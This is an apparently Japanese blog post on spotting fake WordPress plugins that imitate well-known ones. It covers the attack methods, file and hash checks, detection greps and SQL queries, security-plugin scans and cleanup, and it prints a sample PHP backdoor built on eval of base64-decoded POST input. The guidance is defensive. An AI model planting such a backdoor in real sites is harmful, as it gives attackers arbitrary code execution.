2025年11月14日

2025年11月14日

正規のプラグイン名を真似たマルウェアの見分け方

「Contact Form 7」が、実は偽物だった

クライアントのECサイトから、緊急の連絡が入った。「サイトが遅くて、ページが表示されるまで10秒以上かかるんです」

調べてみると、サーバーのCPU使用率が常に90%を超えていた。何かが裏で動いている。プラグインのリストを確認すると、見慣れた名前が並んでいる。「Contact Form 7」「Yoast SEO」「WooCommerce」…どれも有名なプラグインだ。

でも、何かが引っかかった。「Contact Form 7」のバージョン番号が妙に古い。詳細を調べると、正規の「Contact Form 7」とは異なるファイル構造になっていた。ディレクトリ名は「contact-form-7」なんだけど、中身はまったく別物。暗号化されたPHPコードが大量に含まれていて、外部サーバーと通信していた。

これが、正規プラグインに偽装したマルウェアだった。

管理者は、WordPress.org の公式ディレクトリからインストールしたつもりだった。でも実際には、検索結果の上位に表示された偽サイトからダウンロードしていたんだ。プラグインの名前も、アイコンも、説明文も、本物そっくり。気づくのは無理だったと思う。

この記事では、正規のプラグイン名を真似たマルウェアの手口と、それを見分けるための実践的な方法を解説する。あなたのサイトに、今まさに偽プラグインが潜んでいる可能性もある。最後まで読んで、確認してほしい。

なぜ正規プラグインを装うマルウェアが危険なのか

信頼を逆手に取る狡猾な手口

有名なプラグインの名前を使うことで、マルウェアは「信頼」という最強の武器を手に入れる。「Contact Form 7」「Akismet」「Jetpack」。これらの名前を見て、疑う人はほとんどいない。

攻撃者は、この心理を完全に理解している。偽プラグインは、見た目も機能も本物そっくりに作られている。フォームが動作する。メールが送信される。一見、何も問題がない。でも裏では、マルウェアが静かに動いている。

僕が過去に見た事例では、偽の「Yoast SEO」プラグインがインストールされていた。SEOの機能も一応動いていて、管理画面にもYoastのパネルが表示される。でも、サイトのすべてのページに、目に見えない隠しリンクが埋め込まれていたんだ。何ヶ月も気づかれず、Googleからペナルティを受けるまで、誰も異常に気づかなかった。

WordPress.orgの公式ディレクトリでも安心できない?

「WordPress.orgからダウンロードすれば安全だろう」

多くの人がそう思っている。確かに、公式ディレクトリのプラグインは、基本的なセキュリティレビューを受けている。でも、完璧じゃない。

攻撃者は、似たような名前のプラグインを登録することがある。例えば:

  • 正規:「Contact Form 7」
  • 偽物:「Contact Form Seven」「Contact-Form-7-Pro」「CF7 Enhanced」

スペルが微妙に違うだけ。大文字と小文字が逆。ハイフンが一つ多い。パッと見では気づかない違いだ。

さらに厄介なのは、一度は正規のプラグインとして公開されていたものが、後から乗っ取られるケースだ。開発者のアカウントが侵害されて、アップデートという形でマルウェアが配布される。こうなると、公式ディレクトリからインストールしていても、感染する可能性があるんだ。

偽プラグインが実行する悪意のある動作

偽プラグインは、インストールされると何をするのか。代表的な動作を見てみよう。

バックドアの設置

多くの偽プラグインは、まずバックドアを仕込む。これは、攻撃者がいつでもサイトにアクセスできる「裏口」だ。管理者がパスワードを変更しても、プラグインを無効化しても、バックドアは残り続ける。

<?php
// 偽プラグインに含まれる典型的なバックドアコード
if ( isset( $_GET['backdoor'] ) && $_GET['backdoor'] == 'secret_key_12345' ) {
    eval( base64_decode( $_POST['code'] ) );
    exit;
}
?>

このコードは、特定のパラメータでアクセスすると、任意のPHPコードを実行できる。攻撃者は、このバックドアを使って、ファイルの改ざん、データベースの操作、さらなるマルウェアのインストールなど、何でもできてしまう。

スパムリンクの挿入

SEO目的のスパムリンクを、サイトのあらゆる場所に埋め込む。フッター、サイドバー、記事の本文。時には、訪問者のIPアドレスによって表示を変えることもある。管理者がサイトを見ても気づかないけど、一般の訪問者や検索エンジンには表示される、という巧妙な手口だ。

クレジットカード情報の窃取

WooCommerceなどのECサイト用プラグインを装ったマルウェアは、決済情報を狙うことが多い。チェックアウトページに偽の入力フォームを追加したり、正規のフォームから送信されるデータを傍受したりする。

クレジットカード情報が漏れると、被害は甚大だ。顧客からの信頼は失われ、法的な責任も発生する。ECサイトを運営している人にとって、これは最悪のシナリオだ。

マイニングスクリプトの実行

サーバーのリソースを使って、暗号通貨のマイニングを行うマルウェアもある。これが、最初のクライアントのケースで起きていたことだ。

マイニングスクリプトは、サーバーのCPUを使い続ける。サイトは遅くなり、サーバー代は跳ね上がる。長期間気づかれないと、数十万円の損失になることもあるんだ。

偽プラグインを見分けるための基本チェック

インストール前の確認事項

プラグインをインストールする前に、必ず確認すべきポイントがある。これをやるだけで、偽プラグインのリスクは大きく減る。

1. 公式ディレクトリでの確認

WordPress.org の公式ディレクトリで、プラグイン名を検索する。検索結果の上位に表示されるものが、必ずしも正規版とは限らない。以下をチェックしよう:

  • 開発者名:正規のプラグインの開発者名を覚えておく。例えば、Contact Form 7なら「Takayuki Miyoshi」だ。
  • ダウンロード数:正規の人気プラグインなら、数百万以上のダウンロード数がある。数千程度なら怪しい。
  • 最終更新日:頻繁に更新されているか。何年も更新されていないプラグインは、偽物の可能性が高い。
  • 評価とレビュー:レビュー数が少なかったり、評価が極端に低かったりするものは避ける。

2. プラグインのスラッグ(ディレクトリ名)を確認

WordPressのプラグインには、「スラッグ」という一意の識別子がある。これはURLにも表示される:

https://wordpress.org/plugins/contact-form-7/

この「contact-form-7」がスラッグだ。偽プラグインは、スラッグが微妙に違うことが多い:

  • contact-form-seven
  • contact-form-7-pro
  • contactform7

正規のプラグインのスラッグを、事前に確認しておこう。

3. ウェブ検索で評判をチェック

プラグイン名と「レビュー」「評判」「安全」などのキーワードで検索する。もし問題があるプラグインなら、誰かが警告を出しているはずだ。

特に、セキュリティ関連のブログやフォーラムで、そのプラグインについての議論がないか確認しよう。WordPressのコミュニティは活発だから、怪しいプラグインについては情報が出回っている。

インストール後の確認方法

プラグインをインストールした後も、定期的にチェックすることが大事だ。特に、何年も前にインストールしたプラグインは、改めて確認してほしい。

1. プラグインのバージョン情報を確認

管理画面の「プラグイン」リストで、各プラグインのバージョンを確認する。公式サイトで最新バージョンと比較してみよう。

もしバージョン番号が明らかにおかしい(例:0.0.1、99.9.9など)場合、偽物の可能性がある。

2. ファイル構造の確認

FTPやSSHでサーバーにアクセスして、プラグインのディレクトリを確認する。正規のプラグインと比較して、不審なファイルがないかチェックしよう。

# プラグインディレクトリの確認
$ ls -la /var/www/html/wp-content/plugins/contact-form-7/

# 不審なPHPファイルを探す
$ find /var/www/html/wp-content/plugins/ -name "*.php" -type f -exec grep -l "eval(" {} \;
$ find /var/www/html/wp-content/plugins/ -name "*.php" -type f -exec grep -l "base64_decode" {} \;

eval()base64_decode()を使っているファイルは要注意だ。これらは、難読化されたコードを実行するためによく使われる。もちろん、正規のプラグインでも使われることはあるけど、頻繁に出てくるなら疑うべきだ。

3. プラグインのファイルハッシュを確認

正規のプラグインのファイルと、インストールされているファイルのハッシュ値を比較する方法もある。

# プラグインのZIPファイルをダウンロード
$ wget https://downloads.wordpress.org/plugin/contact-form-7.5.8.4.zip

# 解凍
$ unzip contact-form-7.5.8.4.zip -d /tmp/

# ハッシュ値を比較
$ md5sum /tmp/contact-form-7/admin/admin.php
$ md5sum /var/www/html/wp-content/plugins/contact-form-7/admin/admin.php

ハッシュ値が一致しない場合、ファイルが改ざんされている可能性がある。

プラグインの権限と機能を確認

プラグインがどんな権限を要求しているか、どんな機能を持っているか、確認することも重要だ。

不自然に広い権限を要求していないか

例えば、シンプルなお問い合わせフォームのプラグインが、ファイルのアップロード権限やデータベースの完全アクセス権限を要求していたら、おかしい。

WordPressのプラグインは、必要最小限の権限だけを要求すべきだ。過剰な権限を要求するプラグインは、悪意がある可能性が高い。

外部サーバーへの通信

プラグインが、外部のサーバーと通信していないか確認する方法がある。ブラウザの開発者ツールで、ネットワークタブを開いて、プラグインが読み込まれる時の通信をモニタリングするんだ。

怪しいドメインへのリクエストがあったら、そのプラグインは疑わしい。特に、聞いたことのないドメインや、IPアドレスに直接アクセスしているものは要注意だ。

セキュリティプラグインを使った検出方法

Wordfence Securityでのスキャン

Wordfenceは、WordPressのセキュリティプラグインの中でも特に強力だ。マルウェアスキャン機能が充実していて、偽プラグインを検出できる可能性が高い。

基本的なスキャン方法

  1. Wordfenceをインストールして有効化
  2. 管理画面の「Wordfence」→「Scan」を開く
  3. 「Start New Scan」をクリック

スキャンには数分から数十分かかる。終了すると、検出された問題のリストが表示される。

検出される問題の種類

  • Modified Core Files:WordPressのコアファイルが改ざんされている
  • Modified Plugin Files:プラグインのファイルが改ざんされている
  • Unknown Files:公式ディレクトリに存在しないファイル
  • Backdoor:バックドアの疑いがあるコード

偽プラグインは、通常「Modified Plugin Files」や「Unknown Files」として検出される。

具体的な対処方法

検出された問題ごとに、Wordfenceは推奨アクションを示してくれる。

  • 「Delete」:ファイルを削除
  • 「Repair」:正規のファイルで上書き
  • 「Ignore」:誤検知として無視

偽プラグイン全体を削除する場合は、慎重に行おう。まずプラグインを無効化して、サイトが正常に動作するか確認してから、削除する。

Sucuri Securityでのチェック

Sucuriも、マルウェアスキャンに優れたプラグインだ。特に、隠されたマルウェアや、難読化されたコードの検出が得意なんだ。

マルウェアスキャンの実行

  1. Sucuri Securityをインストール
  2. 「Security」→「Malware Scan」を開く
  3. 「Scan Website」をクリック

Sucuriは、プラグインだけじゃなく、テーマやアップロードディレクトリもスキャンする。偽プラグインがテーマファイルに影響を与えている場合も検出できるんだ。

ファイル整合性チェック

Sucuriには、ファイル整合性チェック機能もある。これは、WordPressのコアファイルやプラグインのファイルが、正規版と一致しているか確認する機能だ。

管理画面の「Security」→「Settings」→「File Integrity Scanning」で有効化できる。定期的にチェックして、改ざんを早期に発見しよう。

All In One WP Security & Firewallでの監視

このプラグインは、ファイルシステムの監視に優れている。プラグインのファイルが予期せず変更された場合、アラートを送ってくれるんだ。

ファイル変更検出の設定

  1. All In One WP Security & Firewallをインストール
  2. 「File System Security」→「File Change Detection」を開く
  3. 「Enable File Change Detection」にチェック
  4. 監視するディレクトリを選択(プラグインディレクトリを含める)
  5. 変更を検出した時の通知先メールアドレスを設定

これで、プラグインのファイルが変更されるたびに、メール通知が届く。正規のアップデート以外で通知が来たら、すぐに確認すべきだ。

もし偽プラグインを見つけたら - 緊急対処法

すぐにやるべき5つのステップ

偽プラグインを発見したら、パニックにならず、順序立てて対処しよう。

ステップ1: サイトをメンテナンスモードにする

まず、訪問者への被害を防ぐため、サイトをメンテナンスモードにする。wp-config.phpに以下を追加:

<?php
// メンテナンスモードを有効化
define( 'WP_MAINTENANCE_MODE', true );
?>

あるいは、メンテナンスモード用のプラグイン(WP Maintenance Modeなど)を使ってもいい。

ステップ2: 偽プラグインを無効化

管理画面から、疑わしいプラグインを無効化する。ただし、この時点ではまだ削除しない。バックドアが残っている可能性があるからだ。

無効化すると、サイトの一部機能が動かなくなるかもしれない。でも、安全が最優先だ。

ステップ3: バックアップを取る(証拠保全)

現在の状態を完全にバックアップする。これは復旧のためじゃなく、証拠保全のためだ。後で詳しく調査したり、専門家に見てもらったりする時に必要になる。

# データベースのバックアップ
$ wp db export /backup/database_infected_$(date +%Y%m%d).sql

# ファイルのバックアップ
$ tar -czf /backup/wordpress_infected_$(date +%Y%m%d).tar.gz /var/www/html/

ステップ4: 偽プラグインと関連ファイルを削除

FTPまたはSSHで、偽プラグインのディレクトリを完全に削除する。管理画面からの削除だと、バックドアが残る可能性があるから、サーバー側から直接削除する方が確実だ。

# 偽プラグインのディレクトリを削除
$ rm -rf /var/www/html/wp-content/plugins/fake-plugin-name/

さらに、アップロードディレクトリやテーマディレクトリにも、不審なファイルがないか確認する。

# 不審なPHPファイルを探す
$ find /var/www/html/wp-content/uploads/ -name "*.php" -type f
$ find /var/www/html/wp-content/themes/ -name "*.php" -type f -mtime -7

uploads ディレクトリには、通常PHPファイルは存在しない。もしあったら、それはマルウェアの可能性が高い。

ステップ5: データベースをクリーンアップ

偽プラグインは、データベースにもマルウェアを仕込んでいることがある。特に、wp_options テーブルの autoload オプションに、悪意のあるコードが埋め込まれることが多いんだ。

-- 不審なオプションを検索
SELECT * FROM wp_options 
WHERE option_value LIKE '%eval(%' 
   OR option_value LIKE '%base64_decode%'
   OR option_value LIKE '%gzinflate%';

-- 不審な投稿を検索
SELECT * FROM wp_posts 
WHERE post_content LIKE '%<script%' 
   OR post_content LIKE '%iframe%';

見つかった不審なデータは、慎重に削除する。ただし、誤って正規のデータを消さないように注意が必要だ。

完全な復旧までのチェックリスト

偽プラグインを削除した後も、やるべきことがある。

すべてのパスワードを変更

  • WordPress管理者アカウント
  • データベースのパスワード(wp-config.phpも更新)
  • FTPアカウント
  • ホスティング管理画面
  • メールアカウント

攻撃者がバックドアを通じてパスワードを窃取している可能性があるから、すべて変更すべきだ。

WordPressコアとすべてのプラグインを再インストール

偽プラグインが、WordPressのコアファイルや他のプラグインを改ざんしている可能性がある。念のため、クリーンな状態に戻そう。

  1. WordPress本体を最新版で上書きインストール
  2. 正規版のプラグインを、すべて再インストール
  3. テーマも、可能なら再インストール

セキュリティプラグインで再スキャン

復旧作業が終わったら、Wordfence や Sucuri で再度フルスキャンを実行する。問題が検出されなければ、一安心だ。

ログを確認

サーバーのアクセスログやエラーログを確認して、不審な活動の痕跡がないかチェックする。特に、偽プラグインが外部サーバーと通信していた形跡がないか見てみよう。

# 不審な外部通信を検索
$ grep -r "curl" /var/www/html/wp-content/plugins/
$ grep -r "file_get_contents" /var/www/html/wp-content/plugins/

よくある質問(FAQ)

Q1: 公式ディレクトリからインストールすれば絶対に安全?

残念ながら、絶対に安全とは言えない。WordPress.org の公式ディレクトリは、基本的なセキュリティレビューを行っているけど、すべてのマルウェアを検出できるわけじゃないんだ。

特に、以下のケースでは注意が必要だ:

新規公開されたばかりのプラグイン
公開直後は、まだ十分にレビューされていない可能性がある。ダウンロード数が少なく、レビューもほとんどない状態で使うのはリスクが高い。

開発者アカウントが乗っ取られたケース
過去には、正規のプラグイン開発者のアカウントが侵害されて、アップデートという形でマルウェアが配布された事例もある。

似た名前のプラグイン
「Contact Form 7」と「Contact Form Seven」のように、名前が似ているプラグインは要注意だ。

だから、公式ディレクトリからインストールする場合も、開発者名、ダウンロード数、レビューを必ず確認しよう。

Q2: すでにインストールされているプラグインが偽物かどうか確認する方法は?

既存のプラグインをチェックする方法はいくつかある。

方法1: セキュリティプラグインでスキャン
Wordfence や Sucuri を使って、マルウェアスキャンを実行する。これが最も簡単で確実だ。

方法2: プラグインの詳細情報を確認
管理画面の「プラグイン」リストで、各プラグインの詳細を見る。「WordPress.orgプラグインページを表示」のリンクをクリックして、公式ページと比較しよう。

  • 開発者名が一致しているか
  • バージョン番号が正しいか
  • 説明文が同じか

方法3: ファイルハッシュを比較
前述の方法で、公式版のファイルとインストール済みファイルのハッシュ値を比較する。

# インストール済みプラグインのハッシュ値をチェック
$ find /var/www/html/wp-content/plugins/contact-form-7/ -type f -name "*.php" -exec md5sum {} \;

公式版と比較して、ハッシュ値が異なるファイルがあれば、改ざんされている可能性が高い。

Q3: 偽プラグインに感染したら、データは全部失われる?

必ずしもそうじゃない。適切に対処すれば、データを保護できることが多い。

データベースは通常無事
多くの偽プラグインは、データベースの内容を破壊することはない。投稿、固定ページ、コメント、ユーザー情報などは、ほとんどの場合そのまま残っている。

ただし、データベースにマルウェアのコードが埋め込まれていることはあるから、クリーンアップは必要だ。

バックアップがあれば復旧可能
定期的にバックアップを取っていれば、クリーンな状態に戻せる。感染前の最新のバックアップから復元すればいい。

最悪のケース:ランサムウェア
稀に、ランサムウェア型のマルウェアもある。これは、ファイルを暗号化して、身代金を要求するタイプだ。この場合、バックアップがなければデータの復旧は困難だ。

だから、定期的なバックアップは絶対に必要なんだ。

Q4: プラグインの数を減らせば安全性は上がる?

上がる。使っているプラグインの数が少なければ、攻撃される可能性も減る。

プラグインが多いほど脆弱性も増える
プラグイン一つ一つが、潜在的な脆弱性の入り口だ。10個のプラグインを使っていれば、10個の潜在的なリスクがある。

特に、長期間更新されていないプラグインや、開発が終了したプラグインは危険だ。

定期的にプラグインを見直す
本当に必要なプラグインだけを残して、使っていないものは削除しよう。無効化するだけじゃダメだ。完全に削除することが大事だ。

僕がクライアントに勧めているのは、半年に一度のプラグイン棚卸しだ。すべてのプラグインをリストアップして、それぞれ「本当に必要か」を確認する。不要なものは容赦なく削除する。

これだけで、サイトのセキュリティは大きく向上するんだ。

Q5: 企業サイトの場合、専門家に依頼すべき?

ECサイトや企業の重要なサイトなら、専門家に依頼することを強く勧める。

なぜ専門家が必要か

偽プラグインの除去は、見た目よりも複雑だ。バックドア、データベースの改ざん、他のファイルへの感染。これらすべてを完璧にクリーンアップするには、専門的な知識が必要なんだ。

特に、以下の場合は専門家に任せた方がいい:

  • ECサイトで顧客情報を扱っている
  • 企業の公式サイトで、信頼性が重要
  • 複数のサイトを運営していて、感染が広がっている可能性がある
  • 自分で対処して、さらに被害が拡大することが心配

専門家に依頼する時のポイント

  • WordPressのセキュリティに特化した業者を選ぶ
  • 実績と評判を確認する
  • 対応内容と料金を事前に明確にしてもらう
  • 再発防止策まで含めて依頼する

費用はかかるけど、自分で対処して失敗するリスクを考えれば、投資する価値はあると思う。

まとめ:疑わしきは徹底的に確認する

偽プラグインは、見た目では判別できない。名前も、機能も、デザインも、本物そっくりだ。だからこそ、「有名なプラグインだから安全」という思い込みが危険なんだ。

この記事のポイントをおさらいしよう:

  • 正規のプラグイン名を装ったマルウェアは、信頼を悪用する狡猾な手口
  • インストール前に、開発者名、ダウンロード数、レビューを必ず確認
  • 公式ディレクトリからのインストールでも、スラッグ(ディレクトリ名)をチェック
  • WordfenceやSucuriなどのセキュリティプラグインで定期的にスキャン
  • 偽プラグインを発見したら、メンテナンスモード→無効化→削除の順で対処
  • すべてのパスワードを変更し、WordPressとプラグインを再インストール
  • 不要なプラグインは削除して、攻撃面を減らす

僕が最初に話したクライアントは、その後、セキュリティプラグインの導入と、プラグインの定期的な見直しを徹底した。それ以来、マルウェアの被害には遭っていない。

偽プラグインは、あなたのサイトに今まさに潜んでいるかもしれない。でも、この記事で紹介した方法を使えば、見つけ出すことができる。

疑わしいプラグインがあったら、徹底的に確認しよう。面倒だと思うかもしれないけど、被害が出てからでは遅い。今すぐ、あなたのサイトのプラグインをチェックしてほしい。

WordPressのセキュリティ、不安に思っていませんか?

WordPressセキュリティ診断

「自分のサイトは大丈夫だろうか…」
「何から手をつければいいか分からない…」

もしあなたが少しでもそう感じているなら、専門家によるセキュリティ診断を受けてみることを強くお勧めします。

>> WordPressセキュリティ無料診断はこちら

上記のサイトでは、WordPressのプロがあなたのサイトの脆弱性を無料で診断してくれます。問題が見つかれば、具体的な対策方法についてもアドバイスをもらえます。手遅れになる前に、一度プロの目でチェックしてもらい、安心を手に入れましょう。

お気軽にご相談ください

お見積りへ お問い合わせへ